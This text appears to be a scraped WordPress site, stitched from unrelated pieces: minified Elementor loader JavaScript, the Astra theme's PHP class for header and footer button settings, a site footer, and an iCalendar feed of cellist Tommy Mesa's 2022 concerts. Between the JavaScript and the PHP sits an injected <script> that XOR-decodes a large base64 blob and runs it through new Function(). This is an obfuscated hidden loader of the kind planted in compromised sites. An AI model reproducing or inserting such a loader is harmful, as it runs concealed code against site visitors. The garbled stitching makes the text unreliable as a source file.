C[B](L,L.exports,__webpack_require__),L.exports}__webpack_require__.d=(C,T)=>{for(var B in T)__webpack_require__.o(T,B)&&!__webpack_require__.o(C,B)&&Object.defineProperty(C,B,{enumerable:!0,get:T[B]})},__webpack_require__.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(C){if("object"==typeof window)return window}}(),__webpack_require__.o=(C,T)=>Object.prototype.hasOwnProperty.call(C,T),__webpack_require__.r=C=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(C,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(C,"__esModule",{value:!0})},(()=>{"use strict";var C=__webpack_require__(96784),T=C(__webpack_require__(39805)),B=C(__webpack_require__(40989)),q=C(__webpack_require__(85707)),L=C(__webpack_require__(49175)),U=function(){return(0,B.default)((function AppLoader(){(0,T.default)(this,AppLoader),(0,q.default)(this,"selector","a.elementor-app-link, .elementor-app-link .ab-item"),$e.components.register(new L.default),window.addEventListener("DOMContentLoaded",this.onLoad.bind(this))}),[{key:"onLoad",value:function onLoad(){var C=document.querySelectorAll(this.selector);C.length&&C.forEach((function(C){C.addEventListener("click",(function(T){T.preventDefault(),$e.run("app/open",{url:C.href})})),C.addEventListener("mouseenter",(function(){$e.run("app/load",{url:C.href})}))}))}}])}();window.elementorAppLoader=new U})()})();<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
/**
 * Astra Theme Customizer Configuration Builder.
 *
 * @package     astra-builder
 * @link        https://wpastra.com/
 * @since       3.0.0
 */

// No direct access, please.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Register Builder Customizer Configurations.
 *
 * @since 3.0.0
 */
class Astra_Button_Component_Configs {
	/**
	 * Register Builder Customizer Configurations.
	 *
	 * @param array  $configurations Configurations.
	 * @param string $builder_type Builder Type.
	 * @param string $section Section.
	 *
	 * @since 3.0.0
	 * @return array $configurations Astra Customizer Configurations with updated configurations.
	 */
	public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-button-' ) {

		if ( 'footer' === $builder_type ) {
			$class_obj        = Astra_Builder_Footer::get_instance();
			$number_of_button = Astra_Builder_Helper::$num_of_footer_button;
			$component_limit  = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_button;
		} else {
			$class_obj        = Astra_Builder_Header::get_instance();
			$number_of_button = Astra_Builder_Helper::$num_of_header_button;
			$component_limit  = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_button;
		}

		$button_config = array();

		for ( $index = 1; $index <= $component_limit; $index++ ) {

			$_section = $section . $index;
			$_prefix  = 'button' . $index;

			/**
			 * These options are related to Header Section - Button.
			 * Prefix hs represents - Header Section.
			 */
			$button_config[] = array(

				/*
					* Header Builder section - Button Component Configs.
					*/
				array(
					'name'        => $_section,
					'type'        => 'section',
					'priority'    => 50,
					/* translators: %s Index */
					'title'       => 1 === $number_of_button ? __( 'Button', 'astra' ) : sprintf( __( 'Button %s', 'astra' ), $index ),
					'panel'       => 'panel-' . $builder_type . '-builder-group',
					'clone_index' => $index,
					'clone_type'  => $builder_type . '-button',
				),

				/**
				 * Option: Header Builder Tabs
				 */
				array(
					'name'        => $_section . '-ast-context-tabs',
					'section'     => $_section,
					'type'        => 'control',
					'control'     => 'ast-builder-header-control',
					'priority'    => 0,
					'description' => '',

				),

				/**
				 * Option: Button Text
				 */
				array(
					'name'      => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text]',
					'default'   => astra_get_option( $builder_type . '-' . $_prefix . '-text' ),
					'type'      => 'control',
					'control'   => 'text',
					'section'   => $_section,
					'priority'  => 20,
					'title'     => __( 'Text', 'astra' ),
					'transport' => 'postMessage',
					'partial'   => array(
						'selector'            => '.ast-' . $builder_type . '-button-' . $index,
						'container_inclusive' => false,
						'render_callback'     => array( $class_obj, 'button_' . $index ),
						'fallback_refresh'    => false,
					),
					'context'   => Astra_Builder_Helper::$general_tab,
				),

				/**
				 * Option: Button Link
				 */
				array(
					'name'              => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-link-option]',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-link-option' ),
					'type'              => 'control',
					'control'           => 'ast-link',
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_link' ),
					'section'           => $_section,
					'priority'          => 30,
					'title'             => __( 'Link', 'astra' ),
					'transport'         => 'postMessage',
					'partial'           => array(
						'selector'            => '.ast-' . $builder_type . '-button-' . $index,
						'container_inclusive' => false,
						'render_callback'     => array( $class_obj, 'button_' . $index ),
					),
					'context'           => Astra_Builder_Helper::$general_tab,
					'divider'           => array( 'ast_class' => 'ast-top-section-divider' ),
				),

				/**
				 * Group: Primary Header Button Colors Group
				 */
				array(
					'name'       => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
					'type'       => 'control',
					'control'    => 'ast-color-group',
					'title'      => __( 'Text Color', 'astra' ),
					'section'    => $_section,
					'transport'  => 'postMessage',
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'responsive' => true,
					'divider'    => array( 'ast_class' => 'ast-section-spacing' ),
				),
				array(
					'name'       => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
					'type'       => 'control',
					'control'    => 'ast-color-group',
					'title'      => __( 'Background Color', 'astra' ),
					'section'    => $_section,
					'transport'  => 'postMessage',
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'responsive' => true,
				),

				/**
				 * Option: Button Text Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-text-color',
					'transport'  => 'postMessage',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-text-color' ),
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Normal', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 9,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Normal', 'astra' ),
				),

				/**
				 * Option: Button Text Hover Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-text-h-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-text-h-color' ),
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Hover', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 9,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Hover', 'astra' ),
				),

				/**
				 * Option: Button Background Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-back-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-back-color' ),
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Normal', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 10,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Normal', 'astra' ),
				),

				/**
				 * Option: Button Button Hover Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-back-h-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-back-h-color' ),
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
					'section'    => $_section,
					'tab'        => __( 'Hover', 'astra' ),
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 10,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Hover', 'astra' ),
				),

				array(
					'name'       => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
					'type'       => 'control',
					'control'    => 'ast-color-group',
					'title'      => __( 'Border Color', 'astra' ),
					'section'    => $_section,
					'priority'   => 70,
					'transport'  => 'postMessage',
					'context'    => Astra_Builder_Helper::$design_tab,
					'responsive' => true,
					'divider'    => array( 'ast_class' => 'ast-bottom-divider' ),
				),

				/**
				 * Option: Button Border Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-border-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-border-color' ),
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'section'    => $_section,
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Normal', 'astra' ),
				),

				/**
				 * Option: Button Border Hover Color
				 */
				array(
					'name'       => $builder_type . '-' . $_prefix . '-border-h-color',
					'default'    => astra_get_option( $builder_type . '-' . $_prefix . '-border-h-color' ),
					'parent'     => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
					'transport'  => 'postMessage',
					'type'       => 'sub-control',
					'section'    => $_section,
					'control'    => 'ast-responsive-color',
					'responsive' => true,
					'rgba'       => true,
					'priority'   => 70,
					'context'    => Astra_Builder_Helper::$design_tab,
					'title'      => __( 'Hover', 'astra' ),
				),

				/**
				 * Option: Button Border Size
				 */
				array(
					'name'           => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-size]',
					'default'        => astra_get_option( $builder_type . '-' . $_prefix . '-border-size' ),
					'type'           => 'control',
					'section'        => $_section,
					'control'        => 'ast-border',
					'transport'      => 'postMessage',
					'linked_choices' => true,
					'priority'       => 99,
					'title'          => __( 'Border Width', 'astra' ),
					'context'        => Astra_Builder_Helper::$design_tab,
					'choices'        => array(
						'top'    => __( 'Top', 'astra' ),
						'right'  => __( 'Right', 'astra' ),
						'bottom' => __( 'Bottom', 'astra' ),
						'left'   => __( 'Left', 'astra' ),
					),
					'divider'        => array( 'ast_class' => 'ast-top-section-divider' ),
				),

				/**
				 * Option: Button Radius Fields
				 */
				array(
					'name'              => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-radius-fields]',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-border-radius-fields' ),
					'type'              => 'control',
					'control'           => 'ast-responsive-spacing',
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ),
					'section'           => $_section,
					'title'             => __( 'Border Radius', 'astra' ),
					'linked_choices'    => true,
					'transport'         => 'postMessage',
					'unit_choices'      => array( 'px', 'em', '%' ),
					'choices'           => array(
						'top'    => __( 'Top', 'astra' ),
						'right'  => __( 'Right', 'astra' ),
						'bottom' => __( 'Bottom', 'astra' ),
						'left'   => __( 'Left', 'astra' ),
					),
					'priority'          => 99,
					'context'           => Astra_Builder_Helper::$design_tab,
					'connected'         => false,
					'divider'           => array( 'ast_class' => 'ast-top-section-divider' ),
				),

				/**
				 * Option: Primary Header Button Typography
				 */
				array(
					'name'      => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'default'   => astra_get_option( $builder_type . '-' . $_prefix . '-text-typography' ),
					'type'      => 'control',
					'control'   => 'ast-settings-group',
					'is_font'   => true,
					'title'     => __( 'Font', 'astra' ),
					'section'   => $_section,
					'transport' => 'postMessage',
					'context'   => Astra_Builder_Helper::$design_tab,
					'priority'  => 90,
				),

				/**
				 * Option: Primary Header Button Font Family
				 */
				array(
					'name'      => $builder_type . '-' . $_prefix . '-font-family',
					'default'   => astra_get_option( $builder_type . '-' . $_prefix . '-font-family' ),
					'parent'    => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'type'      => 'sub-control',
					'section'   => $_section,
					'control'   => 'ast-font',
					'font_type' => 'ast-font-family',
					'title'     => __( 'Font Family', 'astra' ),
					'context'   => Astra_Builder_Helper::$general_tab,
					'connect'   => $builder_type . '-' . $_prefix . '-font-weight',
					'priority'  => 1,
					'divider'   => array( 'ast_class' => 'ast-sub-bottom-divider' ),
				),

				/**
				 * Option: Primary Footer Button Font Weight
				 */
				array(
					'name'              => $builder_type . '-' . $_prefix . '-font-weight',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-font-weight' ),
					'parent'            => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'type'              => 'sub-control',
					'section'           => $_section,
					'control'           => 'ast-font',
					'font_type'         => 'ast-font-weight',
					'title'             => __( 'Font Weight', 'astra' ),
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ),
					'connect'           => $builder_type . '-' . $_prefix . '-font-family',
					'priority'          => 2,
					'context'           => Astra_Builder_Helper::$general_tab,
					'divider'           => array( 'ast_class' => 'ast-sub-bottom-divider' ),
				),

				/**
				 * Option: Primary Header Button Font Size
				 */

				array(
					'name'              => $builder_type . '-' . $_prefix . '-font-size',
					'default'           => astra_get_option( $builder_type . '-' . $_prefix . '-font-size' ),
					'parent'            => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'transport'         => 'postMessage',
					'title'             => __( 'Font Size', 'astra' ),
					'type'              => 'sub-control',
					'section'           => $_section,
					'control'           => 'ast-responsive-slider',
					'priority'          => 3,
					'context'           => Astra_Builder_Helper::$general_tab,
					'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ),
					'suffix'            => array( 'px', 'em', 'vw', 'rem' ),
					'input_attrs'       => array(
						'px'  => array(
							'min'  => 0,
							'step' => 1,
							'max'  => 200,
						),
						'em'  => array(
							'min'  => 0,
							'step' => 0.01,
							'max'  => 20,
						),
						'vw'  => array(
							'min'  => 0,
							'step' => 0.1,
							'max'  => 25,
						),
						'rem' => array(
							'min'  => 0,
							'step' => 0.1,
							'max'  => 20,
						),
					),
				),

				/**
				 * Option: Primary Footer Button Font Extras
				 */
				array(
					'name'     => $builder_type . '-' . $_prefix . '-font-extras',
					'parent'   => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
					'section'  => $_section,
					'type'     => 'sub-control',
					'control'  => 'ast-font-extras',
					'priority' => 5,
					'default'  => astra_get_option( 'breadcrumb-font-extras' ),
					'context'  => Astra_Builder_Helper::$general_tab,
					'title'    => __( 'Font Extras', 'astra' ),
				),
			);

			if ( 'footer' === $builder_type ) {
				$button_config[] = array(

					array(
						'name'      => ASTRA_THEME_SETTINGS . '[footer-button-' . $index . '-alignment]',
						'default'   => astra_get_option( 'footer-button-' . $index . '-alignment' ),
						'type'      => 'control',
						'control'   => 'ast-selector',
						'section'   => $_section,
						'priority'  => 35,
						'title'     => __( 'Alignment', 'astra' ),
						'context'   => Astra_Builder_Helper::$general_tab,
						'transport' => 'postMessage',
						'choices'   => array(
							'flex-start' => 'align-left',
							'center'     => 'align-center',
							'flex-end'   => 'align-right',
						),
						'divider'   => array( 'ast_class' => 'ast-top-section-divider' ),
					),
				);
			}

			$button_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type );

			$button_config[] = Astra_Extended_Base_Configuration::prepare_advanced_tab( $_section );

		}

		$button_config = call_user_func_array( 'array_merge', $button_config + array( array() ) );

		return array_merge( $configurations, $button_config );
	}
}

/**
 * Kicking this off by creating object of this class.
 */

new Astra_Button_Component_Configs();
<div class="site-info">
	<a href="https://wordpress.org/">Proudly powered by WordPress</a>
</div><!-- .site-info -->
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Tommy Mesa - ECPv6.17.2//NONSGML v1.0//EN
CALSCALE:GREGORIAN
METHOD:PUBLISH
X-WR-CALNAME:Tommy Mesa
X-ORIGINAL-URL:https://tommymesa.com
X-WR-CALDESC:Events for Tommy Mesa
REFRESH-INTERVAL;VALUE=DURATION:PT1H
X-Robots-Tag:noindex
X-PUBLISHED-TTL:PT1H
BEGIN:VTIMEZONE
TZID:America/Los_Angeles
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20210314T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20211107T090000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20220313T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20221106T090000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
TZNAME:PDT
DTSTART:20230312T100000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
TZNAME:PST
DTSTART:20231105T090000
END:STANDARD
END:VTIMEZONE
BEGIN:VTIMEZONE
TZID:UTC
BEGIN:STANDARD
TZOFFSETFROM:+0000
TZOFFSETTO:+0000
TZNAME:UTC
DTSTART:20210101T000000
END:STANDARD
END:VTIMEZONE
BEGIN:VTIMEZONE
TZID:America/New_York
BEGIN:DAYLIGHT
TZOFFSETFROM:-0500
TZOFFSETTO:-0400
TZNAME:EDT
DTSTART:20210314T070000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0400
TZOFFSETTO:-0500
TZNAME:EST
DTSTART:20211107T060000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0500
TZOFFSETTO:-0400
TZNAME:EDT
DTSTART:20220313T070000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0400
TZOFFSETTO:-0500
TZNAME:EST
DTSTART:20221106T060000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:-0500
TZOFFSETTO:-0400
TZNAME:EDT
DTSTART:20230312T070000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0400
TZOFFSETTO:-0500
TZNAME:EST
DTSTART:20231105T060000
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221013T190000
DTEND;TZID=America/Los_Angeles:20221013T210000
DTSTAMP:20220711T190912Z
CREATED:20220711T190912Z
LAST-MODIFIED:20220711T190912Z
UID:2761-1665687600-1665694800@tommymesa.com
SUMMARY:Sphinx Virtuosi: Carnegie Hall
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-carnegie-hall/
LOCATION:Carnegie Hall: Perelman Theater
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2022/07/2B364BA5-3858-49E0-A938-D1925D0641F0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;TZID=America/Los_Angeles:20221009T150000
DTEND;TZID=America/Los_Angeles:20221009T170000
DTSTAMP:20220711T190556Z
CREATED:20220711T190556Z
LAST-MODIFIED:20220711T190556Z
UID:2758-1665327600-1665334800@tommymesa.com
SUMMARY:Sphinx Virtuosi: University of Oregon
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-university-of-oregon/
LOCATION:Beall Concerto Hall: 961 East 18th Avenue\, Eugene\, OR
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20221007
DTEND;VALUE=DATE:20221008
DTSTAMP:20220711T190236Z
CREATED:20211222T101648Z
LAST-MODIFIED:20220711T190236Z
UID:2551-1665100800-1665187199@tommymesa.com
SUMMARY:Sphinx Virtuosi: Southern Oregon University
DESCRIPTION:Jessie Montgomery: Divided\, concerto for cello and string orchestra (Tommy Mesa\, cellist: co-commissioned by Sphinx\, New World Symphony\, and Carnegie Hall) \nOther works by Michael Dudley\, Valerie Coleman\, Carlos Simon\, Heitor Villa-Lobos\, Ricardo Herz\, For Bridgetower: Ludwig van Beethoven
URL:https://tommymesa.com/event/sphinx-virtuosi-on-tour/
LOCATION:Southern Oregon University
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/06/CB840DDE-4B06-4F6C-9DCD-6F34766CD7B0.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220925
DTEND;VALUE=DATE:20220926
DTSTAMP:20220218T093554Z
CREATED:20211222T101438Z
LAST-MODIFIED:20220218T093554Z
UID:2548-1664064000-1664150399@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Los Gatos\, CA
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-los-gatos-ca/
LOCATION:NY
ATTACH;FMTTYPE=image/jpeg:https://tommymesa.com/wp-content/uploads/2021/12/B7104BEB-F1AA-4155-9B57-7F2CFB57D693.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220923
DTEND;VALUE=DATE:20220924
DTSTAMP:20220407T005740Z
CREATED:20220407T005740Z
LAST-MODIFIED:20220407T005740Z
UID:2715-1663891200-1663977599@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Healdsburg\, CA
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-healdsburg-ca/
LOCATION:NY
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20220917
DTEND;VALUE=DATE:20220918
DTSTAMP:20211222T101214Z
CREATED:20211222T101214Z
LAST-MODIFIED:20211222T101214Z
UID:2545-1663372800-1663459199@tommymesa.com
SUMMARY:Recital with Ilya Yakushev: Silver City\, New Mexico
DESCRIPTION:BRAHMS\nSonata for Cello and Piano in E minor\, Op. 38 \nCHOPIN\nNocturne No. 21 in C-Minor Op. Posth (for solo piano) \nANDREA CASARRUBIOS\nSeven (for solo cello) \nJOAQUIN NIN\nVieja Castilla and Murciana\, from Suite Española \nLERA AUERBACH\nPrelude for Cello and Piano Op. 47\, No. 12\, \nRACHMANINOFF\nSonata for Cello and Piano in G Minor\, Op 19
URL:https://tommymesa.com/event/recital-with-ilya-yakushev-silver-city-new-mexico/
LOCATION:NY
